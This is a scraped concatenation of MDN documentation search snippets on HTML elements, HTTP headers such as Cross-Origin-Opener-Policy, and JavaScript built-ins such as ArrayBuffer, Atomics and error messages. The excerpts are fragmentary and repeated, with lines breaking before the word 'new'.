er action</menuitem> <hr/> <menuitem>separated action</menuitem> </menu> result toolbar toolbar menus haven't been implemented in any known browsers yet. html <!-- a context menu for a simple editor, - containing two menu buttons. ...
...em> <hr/> <menuitem>separated action</menuitem> </menu> result toolbar toolbar menus haven't been implemented in any known browsers yet. html <!-- a context menu for a simple editor, - containing two menu buttons. ...
<p>: The Paragraph element - HTML: Hypertext Markup Language
screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous parag...
...screen-readers and other assistive technology provide shortcuts to let their users skip to the next or previous paragraph, letting them skim content like how white space lets visual users skip around. using empty <p> elements to add...
<tr>: The Table Row element - HTML: Hypertext Markup Language
es this heading to actually be two columns wide. having a second row of <th> elements that contains only the "joined" and "canceled" headings. because the other columns are already occupied by first-row cells that span into the second row, these wind up correctly positioned under the "membership dates" heading. html the html is similar to the previous example's, except for the addition of the
new column in each data row, and the changes to the header. those changes make the html look like this: <table> <tr> <th rowspan="2">name</th> <th rowspan="2">id</th> <th colspan="2">membership dates</th> <th rowspan="2">balance</th> </tr> <tr> <th>joined</th> <th>canceled</th> </tr> <tr> <th>margaret nguyen</td> <td>427311</td> <td><time datetime="2010-...
...pe selector to apply border-bottom to the second row in the heading. why? because the heading is made of two rows that are spanned by some of the cells. that means there are actually two rows there; applying the style to the first row would not give us the expected result. the "joined" and "canceled" headers let's style these two header cells with green and red hues to represent the "good" of a
new member and the "bummer" of a canceled membership. thead > tr:last-of-type > th:nth-of-type(1) { background-color: rgb(225, 255, 225); } thead > tr:last-of-type > th:nth-of-type(2) { background-color: rgb(255, 225, 225); } here we dig into the last row of the table's header block and give the first header cell in it (the "joined" header) a greenish color, and the second header cell in it (t...
<var>: The Variable element - HTML: Hypertext Markup Language
if you encounter code that is mistakenly using <var> for style purposes rather than semantic purposes, you should either use a <span> with appropriate css or, an appropriate semantic element among the following: <em> <i> <q> default style most browsers apply font-style to "italic" when rendering <var>. this can be overridden in css, like this: var { font: bold 15px "courier", "courier
new", monospace; } examples basic example here's a simple example, using <var> to denote variable names in a mathematical equation. <p>a simple equation: <var>x</var> = <var>y</var> + 2 </p> the output: overriding the default style using css, you can override the default style for the <var> element. in this example, variable names are rendered using bold courier if it's available, otherwi...
...names in a mathematical equation. <p>a simple equation: <var>x</var> = <var>y</var> + 2 </p> the output: overriding the default style using css, you can override the default style for the <var> element. in this example, variable names are rendered using bold courier if it's available, otherwise it falls back to the default monospace font. css var { font: bold 15px "courier", "courier
new", monospace; } html <p>the variables <var>minspeed</var> and <var>maxspeed</var> control the minimum and maximum speed of the apparatus in revolutions per minute (rpm).</p> this html uses <var> to enclose the names of two variables. result specifications specification status comment html living standardthe definition of '<var>' in that specification. l...
<video>: The Video Embed element - HTML: Hypertext Markup Language
these events aren't sent directly to the <video> element itself. instead, they're sent to the track list object within the <video> element's htmlmediaelement that corresponds to the type of track that was added to the element: htmlmediaelement.audiotracks an audiotracklist containing all of the media element's audio tracks. you can add a listener for addtrack to this object to be alerted when
new audio tracks are added to the element. htmlmediaelement.videotracks add an addtrack listener to this videotracklist object to be informed when video tracks are added to the element. htmlmediaelement.texttracks add an addtrack event listener to this texttracklist to be notified when
new text tracks are added to the element. for example, to detect when audio tracks are added to or removed fro...
...e your videos as webm, you can fix this problem for the apache web server by adding the extension used by your video files (".webm" is the most common one) to the mime type "video/webm" via the "mime.types" file in "/etc/apache" or via the "addtype" configuration directive in httpd.conf. addtype video/webm .webm your web host may provide an easy interface to mime type configuration changes for
new technologies until a global update naturally occurs. accessibility concerns videos should provide both captions and transcripts that accurately describe its content (see adding captions and subtitles to html5 video for more information on how to implement these). captions allow people who are experiencing hearing loss to understand a video's audio content as the video is being played, while tra...
HTML elements reference - HTML: Hypertext Markup Language
together. <template> the html content template (<template>) element is a mechanism for holding html that is not to be rendered immediately when a page is loaded but may be instantiated subsequently during runtime using javascript. obsolete and deprecated elements warning: these are old html elements which are deprecated and should not be used. you should never use them in
new projects, and should replace them in old projects as soon as you can. they are listed here for informational purposes only. element description <acronym> the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abbreviation for a word. <applet> the obsolete html applet element (<apple...
...s an insertion point, and wasn't meant to be used in ordinary html. <dir> the obsolete html directory element (<dir>) is used as a container for a directory of files and/or folders, potentially with styles and icons applied by the user agent. <element> the obsolete html <element> element was part of the web components specification; it was intended to be used to define
new custom dom elements. <font> the html font element (<font>) defines the font size, color and face for its content. <frame> <frame> is an html element which defines a particular area in which another html document can be displayed. a frame should be used within a <frameset>. <frameset> the html <frameset> element is used to contain <frame> elements. ...
accesskey - HTML: Hypertext Markup Language
arated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands. ...
...ever, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands. ...
itemscope - HTML: Hypertext Markup Language
a related attribute, itemtype, is used to specify the valid url of a vocabulary (such as schema.org) that describes the item and its properties context. in each of the following examples, the vocabulary is from schema.org. every html element may have an itemscope attribute specified. an itemscope element that does not have an associated itemtype must have an associated itemref. ...
...e preceding example. itemscope itemtype movie itemprop (itemprop name) (itemprop value) itemprop director james cameron itemprop genre science fiction itemprop name avatar itemprop https://youtu.be/0ay1xikx7by trailer itemscope id attributes when you specify the itemscope attribute for an element, a
new item is created. the item consists of a group of name-value pairs. for elements with an itemscope attribute and an itemtype attribute, you may also specify an id attribute. you can use the id attribute to set a global identifier for the
new item. a global identifier allows the item to relate to other items found on pages across the web. example there are four itemscope attributes in the followi...
Inline elements - HTML: Hypertext Markup Language
vel" elements. since this is a presentational characteristic it is nowadays specified by css in the flow layout. inline elements are those which only occupy the space bounded by the tags defining the element, instead of breaking the flow of the content. in this article, we'll examine html inline-level elements and how they differ from block-level elements. an inline element does not start on a
new line and only takes up as much width as necessary. inline vs. block-level elements: a demonstration this is most easily demonstrated with a simple example. first, some simple css that we'll be using: .highlight { background-color:#ee3; } inline let's look at the following example which demonstrates an inline element: <div>the following span is an <span class="highlight">inline element</s...
... changed to "block", it still would not allow to nest a div element inside it. conceptual differences in brief, here are the basic conceptual differences between inline and block-level elements: content model generally, inline elements may contain only data and other inline elements. you can't put block elements inside inline elements. formatting by default, inline elements do not force a
new line to begin in the document flow. block elements, on the other hand, typically cause a line break to occur (although, as usual, this can be changed using css). list of "inline" elements the following elements are inline by default (although block and inline elements are no longer defined in html 5, use content categories instead): <a> <abbr> <acronym> <audio> (if it has visible contro...
Link types - HTML: Hypertext Markup Language
inked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link). this link type may be used by some search engines that use popularity ranking techniques. <a>, <area>, <form> <link> noopener instructs the browser to open the link without granting the
new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null). this is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (un...
...sted links, in order to ensure they cannot tamper with the originating document via the window.opener property (see about rel=noopener for more details), while still providing the referer http header (unless noreferrer is used as well). note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a
new window/tab. <a>, <area>, <form> <link> noreferrer prevents the browser, when navigating to another page, to send this page address, or any other value, as referrer via the referer: http header. (in firefox, before firefox 37, this worked only in links found in pages. links clicked in the ui, like "open in a
new tab" via the contextual menu, ignored this). <a...
Compression in HTTP - HTTP
in practice, web developers don't need to implement compression mechanisms, both browsers and servers have it implemented already, but they have to be sure that the server is configured adequately. ...
... the body untouched. all modern browsers and servers do support it and the only thing to negotiate is the compression algorithm to use. these algorithm are optimized for text. in the 1990s, compression technology was advancing at a rapid pace and numerous successive algorithms have been added to the set of possible choices. nowadays, only two are relevant: gzip, the most common one, and br the
new challenger. to select the algorithm to use, browsers and servers use proactive content negotiation. the browser sends an accept-encoding header with the algorithm it supports and its order of precedence, the server picks one, uses it to compress the body of the response and uses the content-encoding header to tell the browser the algorithm it has chosen. as content negotiation has been used to c...
Cross-Origin-Opener-Policy - HTTP
igin-opener-policy (coop) response header allows you to ensure a top-level document does not share a browsing context group with cross-origin documents. coop will process-isolate your document and potential attackers can't access to your global object if they were opening it in a popup, preventing a set of cross-origin attacks dubbed xs-leaks. if a cross-origin document with coop is opened in a
new window, the opening document will not have a reference to it, and the window.opener property of the
new window will be null. this allows you to have more control over references to a window than rel=noopener, which only affects outgoing navigations. header type response header forbidden header name no syntax cross-origin-opener-policy: unsafe-none | same-origin-al...
...nse header forbidden header name no syntax cross-origin-opener-policy: unsafe-none | same-origin-allow-popups | same-origin directives unsafe-none this is the default value. allows the document to be added to its opener's browsing context group unless the opener itself has a coop of same-origin or same-origin-allow-popups. same-origin-allow-popups retains references to
newly opened windows or tabs which either don't set coop or which opt out of isolation by setting a coop of unsafe-none. same-origin isolates the browsing context exclusively to same-origin documents. cross-origin documents are not loaded in the same browsing context. examples certain features depend on cross-origin isolation certain features like sharedarraybuffer objects or performance.now() ...
Date - HTTP
the date general http header contains the date and time at which the message was originated. note that date is listed in the forbidden header names in the fetch spec - so this code will not send date header: fetch('https://httpbin.org/get', { 'headers': { 'date': (
new date()).toutcstring() } }) header type general header forbidden header name yes syntax date: <day-name>, <day> <month> <year> <hour>:<minute>:<second> gmt directives <day-name> one of "mon", "tue", "wed", "thu", "fri", "sat", or "sun" (case-sensitive). <day> 2 digit day number, e.g. "04" or "23". <month> one of "jan", "feb", "mar", "apr", "may", "jun", "jul", "aug", "sep", "oct", "nov", "dec" (case sensitive). <year> 4 digit year number, e.g. "1990" or "2016". <h...
...", "sep", "oct", "nov", "dec" (case sensitive). <year> 4 digit year number, e.g. "1990" or "2016". <hour> 2 digit hour number, e.g. "09" or "23". <minute> 2 digit minute number, e.g. "04" or "59". ...
Index - HTTP
e the media type of the resource. 54 cookie cookies, http, reference, header, request the cookie http request header contains stored http cookies previously sent by the server with the set-cookie header. 55 cookie2 http, obsolete, reference, header, request the obsolete cookie2 http request header used to advise the server that the user agent understands "
new-style" cookies, but nowadays user agents will use the cookie header instead, not this one. 56 dnt dnt, http, reference, header the dnt (do not track) request header indicates the user's tracking preference. it lets users indicate whether they would prefer privacy rather than personalized content. 57 date general header, http, reference, header the date ge...
... response. 116 x-content-type-options http, http header, reference, response header the x-content-type-options response http header is a marker used by the server to indicate that the mime types advertised in the content-type headers should not be changed and be followed. this allows to opt-out of mime type sniffing, or, in other words, it is a way to say that the webmasters k
new what they were doing. 117 x-dns-prefetch-control dns, http, header the x-dns-prefetch-control http response header controls dns prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as urls for items referenced by the document, including images, css, javascript, and so forth. 118 ...
Location - HTTP
the location response header indicates the url to redirect a page to. it only provides a meaning when served with a 3xx (redirection) or 201 (created) status response. ...
... a get method, 307 (temporary redirect) and 308 (permanent redirect) don't change the method used in the original request; 301 (permanent redirect) and 302 (found) doesn't change the method most of the time, though older user-agents may (so you basically don't know). all responses with one of these status codes send a location header. in cases of resource creation, it indicates the url to the
newly created resource. location and content-location are different: location indicates the target of a redirection (or the url of a
newly created resource), while content-location indicates the direct url to use to access the resource when content negotiation happened, without the need of further content negotiation. location is a header associated with the response, while content-location is assoc...
Proxy Auto-Configuration (PAC) file - HTTP
for example: // ... if (shexpmatch(url, "http:*")) { return "proxy http-proxy.mydomain.com:8080"; } // ... the autoconfig file can be output by a cgi script. this is useful, for example, when making the autoconfig ...
...en-source systems including chromium. firefox later integrated the file into proxyautoconfig.cpp as a c++ string literal. to extract it into its own file, it suffices to copy the chunk into javascript with a console.log directive to print it. microsoft in general made its own implementation. there used to be some problems with their libraries, but most are resolved by now. they have defined some
new "ex" suffixed functions around the address handling parts to support ipv6. the feature is supported by chromium, but not yet by firefox (bugzilla #558253). ...
201 Created - HTTP
the common use case of this status code is as the result of a post request. ...
... the common use case of this status code is as the result of a post request. ...
CSS Houdini
houdini is a set of low-level apis that exposes parts of the css engine, giving developers the power to extend css by hooking into the styling and layout process of a browser’s rendering engine. houdini is a group of apis that give developers direct access to the css object model (cssom), enabling developers to write code the browser can parse as css, thereby creating
new css features without waiting for them to be implemented natively in browsers. advantages of houdini houdini enables faster parse times than using javascript .style for style changes. browsers parse the cssom — including layout, paint, and composite processes — before applying any style updates found in scripts. in addition, layout, paint, and composite processes are repeated for javascript style updates. hou...
... start by reading houdini, an introduction — this provides a brief history of houdini and an overview of its many features. css parser api an api exposing the css parser more directly, for parsing arbitrary css-like languages into a mildly typed representation. no guide or reference has currently been written for this api. css properties and values api defines an api for registering
new css properties. properties registered using this api are provided with a parse syntax that defines a type, inheritance behaviour, and an initial value. css properties and values api reference css properties and values api guide css typed om converting cssom value strings into meaningfully typed javascript representations and back can incur a significant performance overhead. the css typed...
JavaScript data types and data structures - JavaScript
instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance === "symbol" null : typeof instance === "object". special primitive type having additional usage for its value: if object is not inherited, then null is shown; object : typeof instance === "object". special non-data but structural type for any constructed object instance also used as data structures:
new object,
new array,
new map,
new set,
new weakmap,
new set,
new date and almost everything made with
new keyword; function : a non-data structure, though it also answers for typeof operator: typeof instance === "function". this is merely a special shorthand for functions, though every function constructor is derived from object constructor. keep in mind the only valuable purpose of typeof opera...
...ticular relationship between integer-key-ed properties and the length property. additionally, arrays inherit from array.prototype, which provides to them a handful of convenient methods to manipulate arrays. for example, indexof (searching a value in the array) or push (adding an element to the array), and so on. this makes arrays a perfect candidate to represent lists or sets. typed arrays are
new to javascript with ecmascript 2015, and present an array-like view of an underlying binary data buffer. the following table helps determine the equivalent c data types: type value range size in bytes description web idl type equivalent c type int8array -128 to 127 1 8-bit two's complement signed integer byte int8_t uint8array 0 to 2...
Meta programming - JavaScript
tion invocation, etc). with the help of these two objects you are able to program at the meta level of javascript. proxies introduced in ecmascript 6, proxy objects allow you to intercept certain operations and to implement custom behaviors. for example, getting a property on an object: let handler = { get: function(target, name) { return name in target? target[name] : 42 } } let p =
new proxy({}, handler) p.a = 1 console.log(p.a, p.b) // 1, 42 the proxy object defines a target (an empty object here) and a handler object, in which a get trap is implemented. here, an object that is proxied will not return undefined when getting undefined properties, but will instead return the number 42. additional examples are available on the proxy reference page. terminology the following ...
...gurable own properties of target. if the target object is not extensible, then the result list must contain all the keys of the own properties of target and no other values. handler.apply() proxy(..args) function.prototype.apply() and function.prototype.call() reflect.apply() there are no invariants for the handler.apply method. handler.construct()
new proxy(...args) reflect.construct() the result must be an object. revocable proxy the proxy.revocable() method is used to create a revocable proxy object. this means that the proxy can be revoked via the function revoke and switches the proxy off. afterwards, any operation on the proxy leads to a typeerror. let revocable = proxy.revocable({}, { get: function(target, name) { ...
Quantifiers - JavaScript
more "a"s in it. x*? x+? x?? x{n}? x{n,}? x{n,m}? by default quantifiers like * and + are "greedy", meaning that they try to match as much of the string as possible. the ? character after the quantifier makes the quantifier "non-greedy": meaning that it will stop as soon as it finds a match. ...
... x{n,}? x{n,m}? by default quantifiers like * and + are "greedy", meaning that they try to match as much of the string as possible. the ? character after the quantifier makes the quantifier "non-greedy": meaning that it will stop as soon as it finds a match. ...
About the JavaScript reference - JavaScript
arger environment, be it a browser, server-side scripts, or similar. for the most part, this reference attempts to be environment-agnostic and does not target a web browser environment. where to find javascript information javascript documentation of core language features (pure ecmascript, for the most part) includes the following: the javascript guide the javascript reference if you are
new to javascript, start with the guide. once you have a firm grasp of the fundamentals, you can use the reference to get more details on individual objects and language constructs. structure of the reference in the javascript reference you can find the following chapters: standard built-in objects this chapter documents all the javascript standard built-in objects, along with their methods and...
...s separated by a semicolon. this isn't a keyword, but a group of keywords. expressions and operators this chapter documents all the javascript language operators, expressions and keywords. functions chapter about javascript functions. classes chapter about javascript classes introduced in ecmascript 2015. errors chapter about specific errors, exceptions and warnings thrown by javascript.
new in javascript chapter about javascript version history. more reference pages deprecated and obsolete features lexical grammar data types and data structures ...
Deprecated and obsolete features - JavaScript
s deprecated. iterator is deprecated. object methods watch and unwatch are deprecated. use proxy instead. __iterator__ is deprecated. __nosuchmethod__ is deprecated. use proxy instead. date methods getyear and setyear are affected by the year-2000-problem and have been subsumed by getfullyear and setfullyear. you should use toisostring instead of the deprecated togmtstring method in
new code. tolocaleformat is deprecated. functions expression closures are deprecated. use regular functions or arrow functions instead. proxy proxy.create and proxy.createfunction are deprecated. use proxy instead. the following traps are obsolete: hasown (bug 980565, firefox 33). getenumerablepropertykeys (bug 783829, firefox 37) getownpropertynames (bug 1007334, firefox 33) ...
...removed from firefox 37. non standard flags parameter in string.prototype.search, string.prototype.match, and string.prototype.replace are deprecated. string.prototype.substr probably won't be removed anytime soon, but it's defined in annex b of the ecma-262 standard, whose introduction states: "… programmers should not use or assume the existence of these features and behaviours when writing
new ecmascript code. …" obsolete features these obsolete features have been entirely removed from javascript and can no longer be used as of the indicated version of javascript. object property description __count__ returns the number of enumerable properties directly on a user-defined object. __parent__ points to an object's context. object.prototy...
SyntaxError: invalid regular expression flag "x" - JavaScript
pattern enclosed between slashes, the flags are defined after the second slash. they can also be defined in the constructor function of the regexp object (second parameter). regular expression flags can be used separately or together in any order, but there are only six of them in ecmascript. ...
... together in any order, but there are only six of them in ecmascript. to include a flag with the regular expression, use this syntax: var re = /pattern/flags; or var re =
new regexp('pattern', 'flags'); regular expression flags flag description g global search. i case-insensitive search. m multi-line search. s allow . to match
newlines (added in ecmascript 2018) u unicode; treat pattern as a sequence of unicode code points y perform a "sticky" search that matches starting at the current position in the target string. see sticky examples there are only six valid regular expression flags. /foo/bar; // syntaxerror: invalid regular expression flag "b" did you intend to create a regular expre...
TypeError: can't define property "x": "obj" is not extensible - JavaScript
ill never have properties beyond the ones it had at the time it was marked as non-extensible. message typeerror: cannot create property for a non-extensible object (edge) typeerror: can't define property "x": "obj" is not extensible (firefox) typeerror: cannot define property: "x", object is not extensible. (chrome) error type typeerror what went wrong? usually, an object is extensible and
new properties can be added to it. however, in this case object.preventextensions() marked an object as no longer extensible, so that it will never have properties beyond the ones it had at the time it was marked as non-extensible. examples adding
new properties to a non-extensible objects in strict mode, attempting to add
new properties to a non-extensible object throws a typeerror. in sloppy mod...
...strict mode, attempting to add
new properties to a non-extensible object throws a typeerror. in sloppy mode, the addition of the "x" property is silently ignored. 'use strict'; var obj = {}; object.preventextensions(obj); obj.x = 'foo'; // typeerror: can't define property "x": "obj" is not extensible in both, strict mode and sloppy mode, a call to object.defineproperty() throws when adding a
new property to a non-extensible object. var obj = { }; object.preventextensions(obj); object.defineproperty(obj, 'x', { value: "foo" } ); // typeerror: can't define property "x": "obj" is not extensible to fix this error, you will either need to remove the call to object.preventextensions() entirely, or move it to a position so that the property is added earlier and only later the object is ma...
InternalError: too much recursion - JavaScript
ursion this recursive function is missing a base case. as there is no exit condition, the function will call itself infinitely. function loop(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony =
new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property. when this happens, the setter function is triggered. set name(name){ this.name = name; // recursive call } in this example when the setter is triggered, it is told to do the same thing again: to set the same property ...
... variable is used in the getter. ...
TypeError: invalid 'instanceof' operand 'x' - JavaScript
ceof operator expects the right hand side operands to be a constructor object, i.e. an object which has a prototype property and is callable. examples instanceof vs typeof "test" instanceof ""; // typeerror: invalid 'instanceof' operand "" 42 instanceof 0; // typeerror: invalid 'instanceof' operand 0 function foo() {} var f = foo(); // foo() is called and returns undefined var x =
new foo(); x instanceof f; // typeerror: invalid 'instanceof' operand f x instanceof x; // typeerror: x is not a function to fix these errors, you will either need to replace the instanceof operator with the typeof operator, or to make sure you use the function name, instead of the result of its evaluation. typeof "test" == "string"; // true typeof 42 == "number" // true functio...
...operand f x instanceof x; // typeerror: x is not a function to fix these errors, you will either need to replace the instanceof operator with the typeof operator, or to make sure you use the function name, instead of the result of its evaluation. typeof "test" == "string"; // true typeof 42 == "number" // true function foo() {} var f = foo; // do not call foo. var x =
new foo(); x instanceof f; // true x instanceof foo; // true ...
getter - JavaScript
number or a string; it must have exactly zero parameters (see incompatible es5 change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another get or with a data entry for the same property ({ get x() { }, get x() { } } and { x: ..., get x() { } } are forbidden). examples defining a getter on
new objects in object initializers this will create a pseudo-property latest for object obj, which will return the last array item in log. const obj = { log: ['example','test'], get latest() { if (this.log.length === 0) return undefined; return this.log[this.log.length - 1]; } } console.log(obj.latest); // "test" note that attempting to assign a value to latest will not change it. ...
...property while using the get keyword and object.defineproperty() have similar results, there is a subtle difference between the two when used on classes. when using get the property will be defined on the instance's prototype, while using object.defineproperty() the property will be defined on the instance it is applied to. ...
Array.prototype.reduceRight() - JavaScript
, allowing use of reduceright in implementations which do not natively support it. ...
...5.4.4.22 // reference: http://es5.github.io/#x15.4.4.22 if ('function' !== typeof array.prototype.reduceright) { array.prototype.reduceright = function(callback /*, initialvalue*/) { 'use strict'; if (null === this || 'undefined' === typeof this) { throw
new typeerror('array.prototype.reduce called on null or undefined'); } if ('function' !== typeof callback) { throw
new typeerror(callback + ' is not a function'); } var t = object(this), len = t.length >>> 0, k = len - 1, value; if (arguments.length >= 2) { value = arguments[1]; } else { while (k >= 0 && !(k in t)) { k--; } if (k < 0) { throw
new typeerror('reduce of empty array with no initial value'); } value = t[k--]; } for (; k >= 0; ...
Array.prototype.indexOf() - JavaScript
iptive polyfill to be more useful. // production steps of ecma-262, edition 5, 15.4.4.14 // reference: http://es5.github.io/#x15.4.4.14 if (!array.prototype.indexof) { array.prototype.indexof = function(searchelement, fromindex) { "use strict"; var k; // 1. let o be the result of calling toobject passing // the this value as the argument. if (this == null) { throw
new typeerror('"this" is null or not defined'); } var o = object(this); // 2. let lenvalue be the result of calling the get // internal method of o with the argument "length". // 3. let len be touint32(lenvalue). var len = o.length >>> 0; // 4. if len is 0, return -1. if (len === 0) { return -1; } // 5. if argument fromindex was passed let n be ...
...']; var element = 'a'; var idx = array.indexof(element); while (idx != -1) { indices.push(idx); idx = array.indexof(element, idx + 1); } console.log(indices); // [0, 2, 4] finding if an element exists in the array or not and updating the array function updatevegetablescollection (veggies, veggie) { if (veggies.indexof(veggie) === -1) { veggies.push(veggie); console.log('
new veggies collection is : ' + veggies); } else if (veggies.indexof(veggie) > -1) { console.log(veggie + ' already exists in the veggies collection.'); } } var veggies = ['potato', 'tomato', 'chillies', 'green-pepper']; updatevegetablescollection(veggies, 'spinach'); //
new veggies collection is : potato,tomato,chillies,green-pepper,spinach updatevegetablescollection(veggies, 'spin...
Array.prototype.length - JavaScript
hest index in the array. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the value of the length property is an integer with a positive sign and a value less than 2 to the 32nd power (232). ...
...red in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description the value of the length property is an integer with a positive sign and a value less than 2 to the 32nd power (232). var namelista =
new array(4294967296); //2 to the 32nd power = 4294967296 var namelistc =
new array(-100) //negative sign console.log(namelista.length); //rangeerror: invalid array length console.log(namelistc.length); //rangeerror: invalid array length var namelistb = []; namelistb.length = math.pow(2,32)-1; //set array length less than 2 to the 32nd power console.log(namelistb.length); //4294967295 you can set the length property to truncate an array at any time. when you extend ...
Array.prototype.some() - JavaScript
in ecma-262, 5th edition, assuming object and typeerror have their original values and that fun.call evaluates to the original value of function.prototype.call(). ...
...inal value of function.prototype.call(). // production steps of ecma-262, edition 5, 15.4.4.17 // reference: http://es5.github.io/#x15.4.4.17 if (!array.prototype.some) { array.prototype.some = function(fun, thisarg) { 'use strict'; if (this == null) { throw
new typeerror('array.prototype.some called on null or undefined'); } if (typeof fun !== 'function') { throw
new typeerror(); } var t = object(this); var len = t.length >>> 0; for (var i = 0; i < len; i++) { if (i in t && fun.call(thisarg, t[i], i, t)) { return true; } } return false; }; } examples testing value of array elements the following example tests whether any element in the array is bigger than 10. function isbiggerthan10(element, index, array)...
Array.prototype.splice() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let arrdeleteditems = array.splice(start[, deletecount[, item1[, item2[, ...]]]]) parameters start the index at which to start changing the array. if greater than the length of the array, start will be set to the length of the array. ...
...ual to or larger than array.length - start (that is, if it is equal to or greater than the number of elements left in the array, starting at start), then all the elements from start to the end of the array will be deleted. note: in ie8, it won't delete all when deletecount is omitted. if deletecount is 0 or negative, no elements are removed. in this case, you should specify at least one
new element (see below). item1, item2, ... optional the elements to add to the array, beginning from start. if you do not specify any elements, splice() will only remove elements from the array. return value an array containing the deleted elements. if only one element is removed, an array of one element is returned. if no elements are removed, an empty array is returned. description if the ...
ArrayBuffer() constructor - JavaScript
the arraybuffer() constructor is used to create arraybuffer objects. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new arraybuffer(length) parameters length the size, in bytes, of the array buffer to create. return value a
new arraybuffer object of the specified size. its contents are initialized to 0. exceptions a rangeerror is thrown if the length is larger than number.max_safe_integer (>= 2 ** 53) or negative. compatibility notes starting with ecmascript 2015, arraybuffer constructors require to be constructed with a
new operator. calling an arraybuffer constructor as a function without ne...
...own if the length is larger than number.max_safe_integer (>= 2 ** 53) or negative. compatibility notes starting with ecmascript 2015, arraybuffer constructors require to be constructed with a
new operator. calling an arraybuffer constructor as a function without
new, will throw a typeerror from now on. var dv = arraybuffer(10); // typeerror: calling a builtin arraybuffer constructor // without
new is forbidden var dv =
new arraybuffer(10); examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: var buffer =
new arraybuffer(8); var view =
new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification. ...
ArrayBuffer.isView() - JavaScript
be checked. return value true if the given argument is one of the arraybuffer views; otherwise, false. ...
...ent is one of the arraybuffer views; otherwise, false. examples using isview arraybuffer.isview(); // false arraybuffer.isview([]); // false arraybuffer.isview({}); // false arraybuffer.isview(null); // false arraybuffer.isview(undefined); // false arraybuffer.isview(
new arraybuffer(10)); // false arraybuffer.isview(
new uint8array()); // true arraybuffer.isview(
new float32array()); // true arraybuffer.isview(
new int8array(10).subarray(0, 3)); // true const buffer =
new arraybuffer(2); const dv =
new dataview(buffer); arraybuffer.isview(dv); // true specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.isview' in that specification. ...
ArrayBuffer.prototype.slice() - JavaScript
the slice() method returns a
new arraybuffer whose contents are a copy of this arraybuffer's bytes from begin, inclusive, up to end, exclusive. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax arraybuffer.slice(begin[, end]) parameters begin zero-based byte index at which to begin slicing. end optional byte index before which to end slicing. if end is unspecified, the
new arraybuffer contains all bytes from begin to the end of this arraybuffer. return value a
new arraybuffer object. description the slice() method copies up to, but not including, the byte indicated by the end parameter. if eith...
...alue a
new arraybuffer object. description the slice() method copies up to, but not including, the byte indicated by the end parameter. if either begin or end is negative, it refers to an index from the end of the array, as opposed to from the beginning. the range specified by the begin and end parameters is clamped to the valid index range for the current array. if the computed length of the
new arraybuffer would be negative, it is clamped to zero. examples copying an arraybuffer const buf1 =
new arraybuffer(8); const buf2 = buf1.slice(0); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.slice' in that specification. ...
Atomics.exchange() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
..., bigint64array, or biguint64array. index the position in the typedarray to exchange a value. value the number to exchange. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. examples using exchange() const sab =
new sharedarraybuffer(1024); const ta =
new uint8array(sab); atomics.exchange(ta, 0, 12); // returns 0, the old value atomics.load(ta, 0); // 12 specifications specification ecmascript (ecma-262)the definition of 'atomics.exchange' in that specification. ...
Atomics.notify() - JavaScript
. count optional the number of sleeping agents to notify. defaults to +infinity. return value returns the number of woken up agents. returns 0, if a non-shared arraybuffer object is used. exceptions throws a typeerror, if typedarray is not a int32array. throws a rangeerror, if index is out of bounds in the typedarray. examples using notify given a shared int32array: const sab =
new sharedarraybuffer(1024); const int32 =
new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the writing thread has stored a
new value, it will be notified by the writing thread and return the
new value (123). atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stor...
...edarraybuffer(1024); const int32 =
new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the writing thread has stored a
new value, it will be notified by the writing thread and return the
new value (123). atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a
new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.notify' in that specification. ...
Atomics.wait() - JavaScript
e the expected value to test. timeout optional time to wait in milliseconds. infinity, if no time is provided. return value a string which is either "ok", "not-equal", or "timed-out". exceptions throws a typeerror, if typedarray is not a shared int32array. throws a rangeerror, if index is out of bounds in the typedarray. examples using wait() given a shared int32array: const sab =
new sharedarraybuffer(1024); const int32 =
new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the writing thread has stored a
new value, it will be notified by the writing thread and return the
